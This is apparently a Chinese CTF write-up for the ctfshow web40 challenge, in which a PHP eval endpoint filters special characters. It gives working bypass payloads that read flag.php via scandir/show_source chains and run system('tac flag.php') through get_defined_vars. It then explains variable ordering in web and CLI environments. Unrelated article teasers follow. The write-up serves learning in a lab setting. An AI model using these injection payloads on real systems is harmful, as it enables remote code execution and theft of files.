news 2026/5/11 4:59:27

特殊符号绕过-ctfshow-web40

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
特殊符号绕过-ctfshow-web40

一、打开环境看源码

if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

这里面过滤了一堆特殊符号:过滤内容:数字 0-9,以及大量的特殊符号~ @ # $ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? 。

这里面比较坑的是这个括号是中文的括号(就因为这个折腾好久,本人后来放弃,直接看的WP。。。)

方法一:查看当前工作目录getcwd(),扫描当前目录及文件"scandir()"输出 为数组,flag.php 在倒数第二个个位置那就数组倒置array_revers(),变为正数第二,在使用next()函数指向从第一个指向第二个(及指向flag.php),最后使用show_source()查看文件的内容。

payload如下:

url+?c=print_r(getcwd()); ===> /var/www/html url+?c=print_r(scandir(getcwd())); ===> Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) url+?c=print_r(array_reverse(scandir(getcwd()))); ==> Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . ) url+?c=print_r(next(array_reverse(scandir(getcwd())))); ==> flag.php url+?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));

方法二:利用get_defined_vars()

?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

第一部分:?c=eval(next(reset(get_defined_vars())));
这是攻击载荷的核心,目的是为了绕过简单的安全检测(WAF),并执行隐藏在其他参数中的恶意代码。
get_defined_vars(): 这是一个 PHP 内置函数,用于获取当前作用域内所有已定义变量的数组。
reset(): 将数组的内部指针指向第一个元素,并返回它的值。
next(): 将数组内部指针指向下一个元素,并返回它的值。
eval(): 将字符串作为 PHP 代码执行。。
执行逻辑:
利用 get_defined_vars() 获取所有参数,然后通过 reset 和 next 这种“指针移动”的方式,巧妙地获取到第二个参数(即 1 参数)的值,并将其作为代码执行。这种方式可以绕过那些只检测参数名是否包含 "eval" 或 "system" 的简单防火墙。
第二部分:&1=;system("tac%20flag.php");这是真正要执行的系统命令。
1 参数名。因为 PHP 中变量名不能以数字开头,但在 GET/POST 参数中是可以的。这里利用了第一部分代码中 next() 函数来获取这个参数的值。
; 代码分隔符,表示前面的内容结束。
system(...): PHP 函数,用于执行外部操作系统命令。

但是问题是,我怎么能保证这个返回的数组在reset和next之后,可以获取到参数1 的值呢?或者说怎么能保证c的值在这个数组的第一位呢?这就跟这个方法的底层逻辑有关。

扩展:get_defined_vars

1、解析顺序:从左到右

PHP 在处理 HTTP 请求(GET 或 POST)中的参数时,会严格按照参数在请求中出现的顺序进行解析和注册。

  • 请求示例:?c=xxx&1=yyy&name=zhang
  • 解析过程:
    1. 遇到c=xxx,将其放入变量符号表(Symbol Table)。
    2. 遇到1=yyy,将其追加到符号表中,排在c后面。
    3. 遇到name=zhang,继续追加。

因此,在get_defined_vars()返回的数组中,用户自定义变量的顺序通常就是 URL 查询字符串中参数的顺序。

2、符号表(Symbol Table)的插入机制

在 PHP 内部,所有的变量都存储在“符号表”(一个哈希表结构)中。当 PHP 接收到请求时,它会遍历 URL 中的参数对。对于每一个参数,PHP 会调用类似 zend_hash_add 的底层函数将其添加到符号表中。虽然哈希表通常不保证顺序,但 PHP 的 HashTable 结构在实现上会维护一个有序的双向链表来记录插入顺序(用于 foreach 遍历)。
结论:第一个被解析的参数 c,就会成为链表中的第一个节点。

准确的说法是:get_defined_vars() 返回数组的顺序,取决于变量在当前作用域内“诞生”的时间顺序。
在 Web 攻击的场景下,GET 参数通常是最早被解析并注入到脚本执行环境中的“用户自定义变量”。

3、为什么参数看起来总是“靠前”?

PHP 脚本的执行流程大致如下:

  1. 接收请求:PHP 引擎接收到 HTTP 请求(例如?c=xxx&1=yyy)。
  2. 解析注入:引擎立即将 URL 中的参数解析为变量($ c$ 1),并注入到当前的变量符号表中。
  3. 执行脚本:引擎开始逐行执行你的 PHP 代码。

关键点在于:
当你调用get_defined_vars()时,如果这是脚本中的第一行代码,那么此时脚本内部定义的变量(比如你写的$ a = 1;)还不存在。此时内存中已存在的变量,主要就是刚才解析出来的GET 参数

所以,它们不是“排在前面”,而是“最早出生”。

<?php // 此时, $ c 和 $ 1 已经因为 HTTP 请求而存在于内存中了 $ a = "我是后来定义的"; $ b = "我是最后定义的"; $ allVars = get_defined_vars(); print_r(array_keys( $ allVars)); ?>

输出结果的顺序通常是:
c (最先诞生,来自 URL)
1 (其次诞生,来自 URL)
a (脚本执行到第 3 行才诞生)
b (脚本执行到第 4 行才诞生)
...以及其他内部变量

4、运行环境差异:CLI vs Web

当我去在线环境运行测试时,发现结果与上述不符,测试代码如下:

<?php $a = array("red", "green", "blue"); $arr = get_defined_vars(); $b = 42; print_r($arr); ?>

结果如下:

Array ( [_GET] => Array ( ) [_POST] => Array ( ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) [argv] => Array ( [0] => script.php ) [argc] => 1 [_SERVER] => Array ( [JUDGE0_VERSION] => 1.13.0 [LANGUAGE] => en_US:en [PWD] => /box [HOME] => /tmp [LANG] => en_US.UTF-8 [JUDGE0_HOMEPAGE] => https://judge0.com [JUDGE0_SOURCE_CODE] => https://github.com/judge0/judge0 [JUDGE0_MAINTAINER] => Herman Zvonimir Došilović <hermanz.dosilovic@gmail.com> [SHLVL] => 1 [LC_ALL] => en_US.UTF-8 [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [LIBC_FATAL_STDERR_] => 1 [_] => /usr/local/php-7.4.1/bin/php [PHP_SELF] => script.php [SCRIPT_NAME] => script.php [SCRIPT_FILENAME] => script.php [PATH_TRANSLATED] => script.php [DOCUMENT_ROOT] => [REQUEST_TIME_FLOAT] => 1769154520.3334 [REQUEST_TIME] => 1769154520 [argv] => Array ( [0] => script.php ) [argc] => 1 ) [a] => Array ( [0] => red [1] => green [2] => blue ) )

这时,不应该是a这个数组在前面吗?怎么跑到后面来了?b不在里面是正常的,因为作用域的问题。这就跟运行环境有问题了。

场景 A:Web 环境(Apache/FPM
流程:收到 HTTP 请求 -> 解析 GET/POST 参数 -> 初始化超全局变量( $ _GET, $ _POST)-> 执行 PHP 脚本。
结果:在脚本开始处调用 get_defined_vars(),用户通过 URL 定义的变量(如 ?c=1)往往是最先被注册的变量之一,所以看起来“靠前”。

场景 B:CLI / Judge0 环境(上述环境)
流程:PHP 解析器直接加载脚本 -> 立即初始化所有超全局变量( $ _SERVER, $ _ENV 等)-> 执行脚本。
证据:输出里面充满了 $ _SERVER 的信息(JUDGE0_VERSION, PWD, HOME 等)。
结果:在脚本执行前, $ _SERVER 等数组已经被填充。当定义 $ a 时,它是在这些庞大的超全局变量之后才被创建的。

正如我们之前讨论的,get_defined_vars()的顺序就是变量创建的时间顺序。

在这个输出中,顺序逻辑如下:

  1. PHP 核心初始化:
    • $ _GET,$ _POST,$ _COOKIE,$ _FILES(空数组)被创建。
    • $ _SERVER被创建并填充大量环境信息(这在 CLI/Judge0 中非常大)。
    • argvargc被创建。
  2. 脚本执行阶段:
    • 时间点 A:执行$ a = array(...)。此时变量$ a被注册到符号表,排在$ _SERVER之后。
    • 时间点 B:执行$ arr = get_defined_vars()。此时它收集了所有已存在的变量。
    • 时间点 C:执行$ b = 42。注意:$ b不在输出中,因为它是在调用get_defined_vars()之后才定义的

结论:

1、在 Web 环境:参数通常在第 1、2 位,next(reset()) 能打中第 2 个参数。
2、在 Judge0/CLI 环境:前面堆满了 $ _SERVER 等系统变量,自定义变量 排在非常后面。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/10 14:29:07

《Asynchronous Programming in Python》读后感

一、 为什么读这本书&#xff1f; 最近在梳理并发编程&#xff0c;所以想了解一些异步开发&#xff0c; asyncio 的用法&#xff0c;《Asynchronous Programming in Python》是 2025 年出版&#xff0c;比较新&#xff0c;所以选择阅读这本书。 二、这本书写了什么&#xff1…

作者头像 李华
网站建设 2026/5/11 3:38:50

零售门店选址评估小程序界面设计

设计方案 界面中采用柔和的颜色&#xff0c;圆润的线条和形状&#xff0c;给人一种亲切、友好的感觉。这种设计能够降低用户的紧张感&#xff0c;从而营造出一种轻松、舒适的使用环境。 界面中加入3D元素&#xff0c;能够增强用户界面的立体感和层次感。使用较深背景&#xff0…

作者头像 李华
网站建设 2026/5/11 3:38:23

【震惊】AI医生竟击败17位专家?大模型编程开发必知的11大趋势,小白也能逆袭!

Abstract 本报告将阐述从AI基础大模型、到行业大模型、到场景大模型、到问题大模型的演变。每一步的变化都需要注入相应的知识和模型的微调。本报告重点将讨论大模型ChatGPT和DeepSeek的基本原理和在生物医药领域中的重要作用和价值。最近&#xff0c;ChatGPT击败17位医生&…

作者头像 李华
网站建设 2026/5/9 7:08:31

细胞培养专用牛血清白蛋白的选型依据及优质供应商推荐

细胞培养专用牛血清白蛋白选型需重点关注纯度等级、内毒素与蛋白酶残留量、批次稳定性及来源安全性&#xff0c;优质供应商优先推荐默克&#xff0c;其产品精准匹配细胞培养严苛需求&#xff0c;能为细胞生长增殖提供稳定保障&#xff0c;适配基础科研及精密细胞实验场景。牛血…

作者头像 李华